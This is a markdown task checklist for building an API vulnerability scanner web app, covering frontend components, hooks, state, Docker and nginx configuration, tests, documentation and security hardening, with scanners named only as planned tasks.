- [ ] Add login() function to authService (store token in localStorage)
|
||||
- [ ] Add register() function to authService
|
||||
- [ ] Add logout() function to authService (remove token + redirect)
|
||||
- [ ] Add getToken() function to authService
|
||||
- [ ] Add isAuthenticated() function to authService
|
||||
- [ ] Create `frontend/src/services/scanService.ts`
|
||||
- [ ] Add runScan() function to scanService
|
||||
- [ ] Add getScanHistory() function to scanService
|
||||
- [ ] Add getScanById() function to scanService
|
||||
|
||||
---
|
||||
|
||||
## 🪝 FRONTEND - CUSTOM HOOKS
|
||||
|
||||
### Hooks - `frontend/src/hooks/`
|
||||
- [ ] Create `frontend/src/hooks/useAuth.ts`
|
||||
- [ ] Add useLogin() hook with useMutation (invalidates queries on success)
|
||||
- [ ] Add useRegister() hook with useMutation
|
||||
- [ ] Add useLogout() hook
|
||||
- [ ] Add useAuth() hook (returns isAuthenticated + logout)
|
||||
- [ ] Create `frontend/src/hooks/useScan.ts`
|
||||
- [ ] Add useRunScan() hook with useMutation (invalidates scan history)
|
||||
- [ ] Add useScanHistory() hook with useQuery
|
||||
- [ ] Add useScan(scanId) hook with useQuery (enabled when scanId exists)
|
||||
- [ ] Create `frontend/src/hooks/useLocalStorage.ts` for generic localStorage hook
|
||||
|
||||
---
|
||||
|
||||
## 🏪 FRONTEND - STATE MANAGEMENT
|
||||
|
||||
### Zustand Store - `frontend/src/store/`
|
||||
- [ ] Create `frontend/src/store/uiStore.ts` with Zustand store
|
||||
- [ ] Add theme state (dark/light) to uiStore
|
||||
- [ ] Add setTheme() action to uiStore
|
||||
- [ ] Add toggleTheme() action to uiStore
|
||||
- [ ] Add sidebarOpen state to uiStore
|
||||
- [ ] Add toggleSidebar() action to uiStore
|
||||
- [ ] Add isLoading state to uiStore
|
||||
- [ ] Add setLoading() action to uiStore
|
||||
- [ ] Implement persist middleware for theme and sidebarOpen
|
||||
|
||||
---
|
||||
|
||||
## 🎨 FRONTEND - COMMON COMPONENTS
|
||||
|
||||
### Common Components - `frontend/src/components/common/`
|
||||
- [ ] Create `frontend/src/components/common/Button.tsx`
|
||||
- [ ] Add Button component with variant prop (primary, secondary, danger, success, ghost)
|
||||
- [ ] Add size prop to Button (sm, md, lg)
|
||||
- [ ] Add isLoading prop to Button (shows spinner)
|
||||
- [ ] Create `frontend/src/styles/components/Button.css` with all variants
|
||||
- [ ] Create `frontend/src/components/common/Input.tsx`
|
||||
- [ ] Add Input component with label, error, and all HTML input props
|
||||
- [ ] Create `frontend/src/styles/components/Input.css`
|
||||
- [ ] Create `frontend/src/components/common/Card.tsx`
|
||||
- [ ] Create `frontend/src/styles/components/Card.css`
|
||||
- [ ] Create `frontend/src/components/common/Badge.tsx` for status/severity badges
|
||||
- [ ] Create `frontend/src/styles/components/Badge.css` with severity colors
|
||||
- [ ] Create `frontend/src/components/common/LoadingSpinner.tsx`
|
||||
- [ ] Create `frontend/src/styles/components/LoadingSpinner.css`
|
||||
|
||||
---
|
||||
|
||||
## 🏗️ FRONTEND - LAYOUT COMPONENTS
|
||||
|
||||
### Layout - `frontend/src/components/layout/`
|
||||
- [ ] Create `frontend/src/components/layout/Header.tsx`
|
||||
- [ ] Add logo/app name to Header
|
||||
- [ ] Add user email display to Header
|
||||
- [ ] Add logout button to Header
|
||||
- [ ] Add theme toggle to Header
|
||||
- [ ] Create `frontend/src/styles/components/Header.css`
|
||||
- [ ] Create `frontend/src/components/layout/Sidebar.tsx`
|
||||
- [ ] Add navigation links to Sidebar (Dashboard, Scan, History)
|
||||
- [ ] Add active route highlighting to Sidebar
|
||||
- [ ] Create `frontend/src/styles/components/Sidebar.css`
|
||||
- [ ] Create `frontend/src/components/layout/Layout.tsx` with Outlet
|
||||
- [ ] Combine Header + Sidebar + main content area in Layout
|
||||
- [ ] Create `frontend/src/styles/components/Layout.css`
|
||||
|
||||
---
|
||||
|
||||
## 🔐 FRONTEND - AUTH COMPONENTS
|
||||
|
||||
### Auth Components - `frontend/src/components/auth/`
|
||||
- [ ] Create `frontend/src/components/auth/LoginForm.tsx`
|
||||
- [ ] Add React Hook Form setup with Zod validation to LoginForm
|
||||
- [ ] Add email field to LoginForm (validated with EmailStr)
|
||||
- [ ] Add password field to LoginForm (min 8 chars)
|
||||
- [ ] Add submit button with loading state to LoginForm
|
||||
- [ ] Add error message display to LoginForm
|
||||
- [ ] Add "Register" link to LoginForm
|
||||
- [ ] Create `frontend/src/styles/components/LoginForm.css`
|
||||
- [ ] Create `frontend/src/components/auth/RegisterForm.tsx`
|
||||
- [ ] Add React Hook Form setup with Zod validation to RegisterForm
|
||||
- [ ] Add email and password fields to RegisterForm
|
||||
- [ ] Add password confirmation field to RegisterForm
|
||||
- [ ] Add submit button with loading state to RegisterForm
|
||||
- [ ] Add error message display to RegisterForm
|
||||
- [ ] Add "Login" link to RegisterForm
|
||||
- [ ] Create `frontend/src/styles/components/RegisterForm.css`
|
||||
|
||||
---
|
||||
|
||||
## 🔬 FRONTEND - SCAN COMPONENTS
|
||||
|
||||
### Scan Components - `frontend/src/components/scan/`
|
||||
- [ ] Create `frontend/src/components/scan/ScanConfigForm.tsx`
|
||||
- [ ] Add React Hook Form setup with Zod validation to ScanConfigForm
|
||||
- [ ] Add target_url field to ScanConfigForm (validated as URL)
|
||||
- [ ] Add auth_token field to ScanConfigForm (optional)
|
||||
- [ ] Add tests_to_run checkboxes to ScanConfigForm (from SCAN_CONFIG)
|
||||
- [ ] Add max_requests number input to ScanConfigForm (min/max from config)
|
||||
- [ ] Add submit button with loading state to ScanConfigForm
|
||||
- [ ] Add form error handling to ScanConfigForm
|
||||
- [ ] Create `frontend/src/styles/components/ScanConfigForm.css`
|
||||
- [ ] Create `frontend/src/components/scan/ScanResults.tsx`
|
||||
- [ ] Add results summary header to ScanResults (total tests, vulnerabilities found)
|
||||
- [ ] Add results grid to ScanResults (maps over results array)
|
||||
- [ ] Add export button to ScanResults
|
||||
- [ ] Create `frontend/src/styles/components/ScanResults.css`
|
||||
- [ ] Create `frontend/src/components/scan/ResultCard.tsx`
|
||||
- [ ] Add test name header to ResultCard
|
||||
- [ ] Add status badge to ResultCard (uses SEVERITY_CONFIG for colors/icons)
|
||||
- [ ] Add details section to ResultCard
|
||||
- [ ] Add evidence section to ResultCard (formatted JSON)
|
||||
- [ ] Add recommendations list to ResultCard
|
||||
- [ ] Add conditional styling for vulnerable vs safe in ResultCard
|
||||
- [ ] Create `frontend/src/styles/components/ResultCard.css`
|
||||
- [ ] Create `frontend/src/components/scan/ScanHistory.tsx`
|
||||
- [ ] Add table/list view to ScanHistory
|
||||
- [ ] Add date, target URL, vulnerabilities count to each history item
|
||||
- [ ] Add "View Details" button to each history item
|
||||
- [ ] Create `frontend/src/styles/components/ScanHistory.css`
|
||||
|
||||
---
|
||||
|
||||
## 📄 FRONTEND - PAGES
|
||||
|
||||
### Pages - `frontend/src/pages/`
|
||||
- [ ] Create `frontend/src/pages/LoginPage.tsx`
|
||||
- [ ] Add LoginForm component to LoginPage
|
||||
- [ ] Add page title and description to LoginPage
|
||||
- [ ] Create `frontend/src/styles/pages/LoginPage.css`
|
||||
- [ ] Create `frontend/src/pages/RegisterPage.tsx`
|
||||
- [ ] Add RegisterForm component to RegisterPage
|
||||
- [ ] Add page title and description to RegisterPage
|
||||
- [ ] Create `frontend/src/styles/pages/RegisterPage.css`
|
||||
- [ ] Create `frontend/src/pages/DashboardPage.tsx`
|
||||
- [ ] Add welcome message to DashboardPage
|
||||
- [ ] Add quick stats (total scans, recent vulnerabilities) to DashboardPage
|
||||
- [ ] Add recent scan results to DashboardPage
|
||||
- [ ] Create `frontend/src/styles/pages/DashboardPage.css`
|
||||
- [ ] Create `frontend/src/pages/ScanPage.tsx`
|
||||
- [ ] Add ScanConfigForm to ScanPage
|
||||
- [ ] Add ScanResults display to ScanPage (conditional on scan completion)
|
||||
- [ ] Create `frontend/src/styles/pages/ScanPage.css`
|
||||
- [ ] Create `frontend/src/pages/HistoryPage.tsx`
|
||||
- [ ] Add ScanHistory component to HistoryPage
|
||||
- [ ] Add pagination to HistoryPage
|
||||
- [ ] Create `frontend/src/styles/pages/HistoryPage.css`
|
||||
|
||||
---
|
||||
|
||||
## 🎯 FRONTEND - APP SETUP
|
||||
|
||||
### Main App Files
|
||||
- [ ] Create `frontend/src/App.tsx` with React Router setup
|
||||
- [ ] Add Routes for /login, /register to App.tsx
|
||||
- [ ] Add ProtectedRoute wrapper component to App.tsx
|
||||
- [ ] Add Routes for /, /scan, /history (all protected) to App.tsx
|
||||
- [ ] Add Layout wrapper for protected routes in App.tsx
|
||||
- [ ] Create `frontend/src/main.tsx` entry point
|
||||
- [ ] Add QueryClientProvider to main.tsx
|
||||
- [ ] Add BrowserRouter to main.tsx
|
||||
- [ ] Import theme.css in main.tsx
|
||||
- [ ] Import index.css in main.tsx
|
||||
- [ ] Create `frontend/src/styles/index.css` with global styles
|
||||
- [ ] Add CSS reset/normalize to index.css
|
||||
- [ ] Add global font families to index.css
|
||||
- [ ] Add global box-sizing to index.css
|
||||
- [ ] Update `frontend/index.html` with app title and meta tags
|
||||
|
||||
---
|
||||
|
||||
## 🐳 DOCKER CONFIGURATION
|
||||
|
||||
### Docker Files - `/conf/`
|
||||
- [ ] Create `conf/Dockerfile.backend`
|
||||
- [ ] Add Python 3.11-slim base image to Dockerfile.backend
|
||||
- [ ] Add WORKDIR /app to Dockerfile.backend
|
||||
- [ ] Add requirements.txt COPY and pip install to Dockerfile.backend
|
||||
- [ ] Add application code COPY to Dockerfile.backend
|
||||
- [ ] Add EXPOSE 8000 to Dockerfile.backend
|
||||
- [ ] Add CMD with uvicorn to Dockerfile.backend
|
||||
- [ ] Create `conf/Dockerfile.frontend`
|
||||
- [ ] Add Node 20-alpine base image to Dockerfile.frontend
|
||||
- [ ] Add WORKDIR /app to Dockerfile.frontend
|
||||
- [ ] Add package.json COPY and npm ci to Dockerfile.frontend
|
||||
- [ ] Add application code COPY to Dockerfile.frontend
|
||||
- [ ] Add EXPOSE 5173 to Dockerfile.frontend
|
||||
- [ ] Add CMD with npm run dev to Dockerfile.frontend
|
||||
- [ ] Create `conf/nginx.conf`
|
||||
- [ ] Add events block with worker_connections to nginx.conf
|
||||
- [ ] Add upstream backend block to nginx.conf
|
||||
- [ ] Add upstream frontend block to nginx.conf
|
||||
- [ ] Add server block listening on port 80 to nginx.conf
|
||||
- [ ] Add location / proxy to frontend in nginx.conf
|
||||
- [ ] Add location /api proxy to backend in nginx.conf
|
||||
- [ ] Add WebSocket upgrade headers to nginx.conf
|
||||
|
||||
### Docker Compose
|
||||
- [ ] Create `docker-compose.yml` at project root
|
||||
- [ ] Add PostgreSQL 16-alpine service to docker-compose.yml
|
||||
- [ ] Configure postgres environment variables (user, password, db)
|
||||
- [ ] Add postgres port mapping 5432:5432
|
||||
- [ ] Add postgres volume for data persistence
|
||||
- [ ] Add postgres healthcheck
|
||||
- [ ] Add backend service to docker-compose.yml
|
||||
- [ ] Configure backend build context and Dockerfile path
|
||||
- [ ] Add backend environment variables (DATABASE_URL, SECRET_KEY, DEBUG)
|
||||
- [ ] Add backend port mapping 8000:8000
|
||||
- [ ] Add backend depends_on db with health condition
|
||||
- [ ] Add backend volume for hot reload
|
||||
- [ ] Add backend command with --reload flag
|
||||
- [ ] Add frontend service to docker-compose.yml
|
||||
- [ ] Configure frontend build context and Dockerfile path
|
||||
- [ ] Add frontend environment variable VITE_API_URL
|
||||
- [ ] Add frontend port mapping 5173:5173
|
||||
- [ ] Add frontend volumes (code + node_modules)
|
||||
- [ ] Add frontend command with --host flag
|
||||
- [ ] Add nginx service to docker-compose.yml (production profile)
|
||||
- [ ] Configure nginx port 80:80
|
||||
- [ ] Add nginx volume for config file
|
||||
- [ ] Add nginx depends_on backend and frontend
|
||||
- [ ] Define postgres_data volume at bottom of docker-compose.yml
|
||||
|
||||
### Environment Configuration
|
||||
- [ ] Create `.env` file at project root (copy from .env.example)
|
||||
- [ ] Set SECRET_KEY in .env (generate random key)
|
||||
- [ ] Set DEBUG=true for development in .env
|
||||
- [ ] Set DATABASE_URL in .env
|
||||
- [ ] Create `frontend/.env` file
|
||||
- [ ] Set VITE_API_URL=http://localhost:8000 in frontend/.env
|
||||
|
||||
---
|
||||
|
||||
## 🧪 TESTING
|
||||
|
||||
### Backend Testing
|
||||
- [ ] Create `backend/tests/__init__.py`
|
||||
- [ ] Create `backend/tests/conftest.py` with pytest fixtures
|
||||
- [ ] Add test database fixture to conftest.py
|
||||
- [ ] Add test client fixture to conftest.py
|
||||
- [ ] Create `backend/tests/test_auth_service.py`
|
||||
- [ ] Add test for user registration in test_auth_service.py
|
||||
- [ ] Add test for user login in test_auth_service.py
|
||||
- [ ] Add test for duplicate email in test_auth_service.py
|
||||
- [ ] Create `backend/tests/test_scan_service.py`
|
||||
- [ ] Add test for successful scan in test_scan_service.py
|
||||
- [ ] Add test for concurrent scanner execution in test_scan_service.py
|
||||
- [ ] Create `backend/tests/test_scanners/` directory
|
||||
- [ ] Add test for rate limit scanner
|
||||
- [ ] Add test for auth scanner
|
||||
- [ ] Add test for SQLi scanner
|
||||
- [ ] Add test for IDOR scanner
|
||||
- [ ] Create `backend/tests/test_routes/` directory
|
||||
- [ ] Add test for auth endpoints
|
||||
- [ ] Add test for scan endpoints
|
||||
|
||||
### Frontend Testing
|
||||
- [ ] Install vitest, @testing-library/react, @testing-library/user-event
|
||||
- [ ] Create `frontend/vitest.config.ts`
|
||||
- [ ] Create `frontend/src/tests/setup.ts` with testing setup
|
||||
- [ ] Create `frontend/src/components/__tests__/` directory
|
||||
- [ ] Add Button component tests
|
||||
- [ ] Add Input component tests
|
||||
- [ ] Add LoginForm tests
|
||||
- [ ] Add ScanConfigForm tests
|
||||
- [ ] Create `frontend/src/hooks/__tests__/` directory
|
||||
- [ ] Add useAuth hook tests
|
||||
- [ ] Add useScan hook tests
|
||||
|
||||
---
|
||||
|
||||
## 📚 DOCUMENTATION
|
||||
|
||||
### README Files
|
||||
- [ ] Create comprehensive root `README.md`
|
||||
- [ ] Add project overview to README
|
||||
- [ ] Add features list to README
|
||||
- [ ] Add tech stack to README
|
||||
- [ ] Add quick start guide to README
|
||||
- [ ] Add Docker setup instructions to README
|
||||
- [ ] Add local development setup to README
|
||||
- [ ] Add API documentation link to README
|
||||
- [ ] Add contribution guidelines to README
|
||||
- [ ] Add license to README
|
||||
- [ ] Create `backend/README.md` with backend-specific docs
|
||||
- [ ] Create `frontend/README.md` with frontend-specific docs
|
||||
|
||||
### Code Documentation
|
||||
- [ ] Add docstrings to all backend functions/classes
|
||||
- [ ] Add JSDoc comments to all frontend functions/components
|
||||
- [ ] Add inline comments for complex logic in backend
|
||||
- [ ] Add inline comments for complex logic in frontend
|
||||
|
||||
### API Documentation
|
||||
- [ ] Verify FastAPI auto-generated docs at /api/docs work
|
||||
- [ ] Verify ReDoc at /api/redoc works
|
||||
- [ ] Create Postman/Insomnia collection for API testing (optional)
|
||||
|
||||
---
|
||||
|
||||
## 🚀 DEPLOYMENT PREPARATION
|
||||
|
||||
### Production Configuration
|
||||
- [ ] Create production `.env.example` with secure defaults
|
||||
- [ ] Add HTTPS configuration to nginx.conf (commented out)
|
||||
- [ ] Add Gunicorn configuration for backend
|
||||
- [ ] Add production build script to frontend package.json
|
||||
- [ ] Create production docker-compose.prod.yml
|
||||
- [ ] Add health check endpoints to backend
|
||||
- [ ] Add frontend build optimization in vite.config.ts
|
||||
|
||||
### Security Hardening
|
||||
- [ ] Add rate limiting to FastAPI backend
|
||||
- [ ] Add CORS whitelist for production
|
||||
- [ ] Add CSP headers to nginx
|
||||
- [ ] Add security headers to nginx (X-Frame-Options, etc.)
|
||||
- [ ] Add input sanitization to frontend
|
||||
- [ ] Verify JWT expiration works correctly
|
||||
- [ ] Verify password hashing uses bcrypt
|
||||
|
||||
---
|
||||
|
||||
## ✅ FINAL CHECKS
|
||||
|
||||
### Code Quality
|
||||
- [ ] Run pylint/ruff on backend code
|
||||
- [ ] Run ESLint on frontend code
|
||||
- [ ] Run Prettier on frontend code
|
||||
- [ ] Format backend code with yapf/black
|
||||
- [ ] Check all type hints in backend
|
||||
- [ ] Check all TypeScript types in frontend
|
||||
- [ ] Verify no `any` types in frontend
|
||||
- [ ] Verify no magic numbers/strings in backend
|
||||
- [ ] Verify no magic numbers/strings in frontend
|
||||
|
||||
### Functionality Testing
|
||||
- [ ] Test user registration flow end-to-end
|
||||
- [ ] Test user login flow end-to-end
|
||||
- [ ] Test JWT token expiration and refresh
|
||||
- [ ] Test rate limit scanner against test API
|
||||
- [ ] Test auth scanner against test API
|
||||
- [ ] Test SQLi scanner against test API
|
||||
- [ ] Test IDOR scanner against test API
|
||||
- [ ] Test scan history retrieval
|
||||
- [ ] Test scan results display
|
||||
- [ ] Test export functionality (if implemented)
|
||||
- [ ] Test responsive design on mobile
|
||||
- [ ] Test responsive design on tablet
|
||||
- [ ] Test responsive design on desktop
|
||||
|
||||
### Performance
|
||||
- [ ] Check backend API response times
|
||||
- [ ] Check frontend initial load time
|
||||
- [ ] Verify lazy loading works for routes
|
||||
- [ ] Verify TanStack Query caching works
|
||||
- [ ] Check database query performance
|
||||
- [ ] Add indexes to database tables if needed
|
||||
|
||||
### Git & GitHub
|
||||
- [ ] Initialize git repository
|
||||
- [ ] Create `.gitignore` (node_modules, .env, __pycache__, etc.)
|
||||
- [ ] Make initial commit
|
||||
- [ ] Create GitHub repository
|
||||
- [ ] Push to GitHub
|
||||
- [ ] Add repository description
|
||||
- [ ] Add repository topics/tags
|
||||
- [ ] Create LICENSE file
|
||||
- [ ] Add screenshots to README
|
||||
- [ ] Add demo GIF/video to README
|
||||
|
||||
---
|
||||
|
||||
## 📊 PROJECT METRICS
|
||||
|
||||
**Total Tasks:** 390+
|
||||
**Estimated Time:** 8-12 hours
|
||||
**Completed:** 0%
|
||||
|
||||
---
|
||||
|
||||
## 🎯 PRIORITY ORDER (What to Build First)
|
||||
|
||||
1. **Backend Foundation** (config, core, models, schemas)
|
||||
2. **Backend Repositories & Services** (data + business logic)
|
||||
3. **Backend Routes** (API endpoints)
|
||||
4. **One Scanner** (rate limit - simplest)
|
||||
5. **Frontend Foundation** (config, types, services)
|
||||
6. **Frontend Auth** (login/register pages)
|
||||
7. **Frontend Scan Page** (form + results)
|
||||
8. **Remaining Scanners** (auth, SQLi, IDOR)
|
||||
9. **Docker Setup** (get everything running together)
|
||||
10. **Testing & Polish** (tests, docs, final touches)
|
||||
|
||||
---
|
||||
|
||||
**Last Updated:** 2025-11-08
|
||||
**Current Phase:** Setup
|
||||
Loading…
Reference in New Issue